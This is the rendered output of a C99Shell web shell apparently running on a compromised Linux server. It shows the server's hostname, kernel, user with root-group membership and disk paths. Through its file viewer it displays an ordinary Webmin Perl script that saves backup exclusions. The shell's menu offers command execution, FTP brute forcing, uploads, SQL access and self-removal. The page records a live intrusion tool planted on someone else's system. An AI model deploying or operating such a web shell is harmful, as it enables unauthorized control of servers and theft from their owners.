!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.56 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save_exclude.cgi (899 B)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Save per-domain excluded directories

require './virtual-server-lib.pl';
&ReadParse();
&error_setup($text{'exclude_err'});
$d = &get_domain($in{'dom'});
&can_edit_domain($d) || &error($text{'edit_ecannot'});
&can_edit_exclude() || &error($text{'exclude_ecannot'});

# Validate and save inputs
@exclude = grep { /\S/ } split(/\r?\n/, $in{'dirs'});
@exclude = map { s/^\///; $_ } @exclude;    # Strip leading /s
foreach $e (@exclude) {
    $e !~ /^\// || &error(&text('exclude_eabs', $e));
    $e !~ /\.\./ || &error(&text('exclude_edot', $e));
    }
&save_backup_excludes($d, \@exclude);

@dbexclude = grep { /\S/ } split(/\r?\n/, $in{'dbs'});
foreach $e (@dbexclude) {
    $e =~ /^[a-z0-9\.\_\-\*]+$/i || &error(&text('exclude_edb', $e));
    }
&save_backup_db_excludes($d, \@dbexclude);

# All done
&run_post_actions_silently();
&webmin_log("exclude", "domain", $d->{'dom'});
&domain_redirect($d);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--